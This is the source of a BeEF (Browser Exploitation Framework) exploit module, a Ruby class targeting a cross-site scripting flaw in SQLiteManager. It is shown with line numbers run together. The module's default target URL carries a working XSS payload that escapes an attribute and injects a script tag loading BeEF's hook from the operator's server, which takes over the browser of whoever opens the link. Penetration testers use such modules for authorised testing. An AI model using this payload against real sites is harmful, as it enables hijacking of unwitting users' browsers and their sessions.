Path: blob/master/modules/exploits/xss/sqlitemanager_xss/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Sqlitemanager_xss < BeEF::Core::Command6def self.options7configuration = BeEF::Core::Configuration.instance8proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'9hook_file = configuration.get('beef.http.hook_file')10hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"1112[13{ 'name' => 'uri', 'ui_label' => 'Target URL', 'value' => "http://127.0.0.1/sqlite/index.php?dbsel=1\"><script src=\"#{hook_uri}\"></script><p+\"" }14]15end1617def post_execute18save({ 'result' => @datastore['result'] })19end20end212223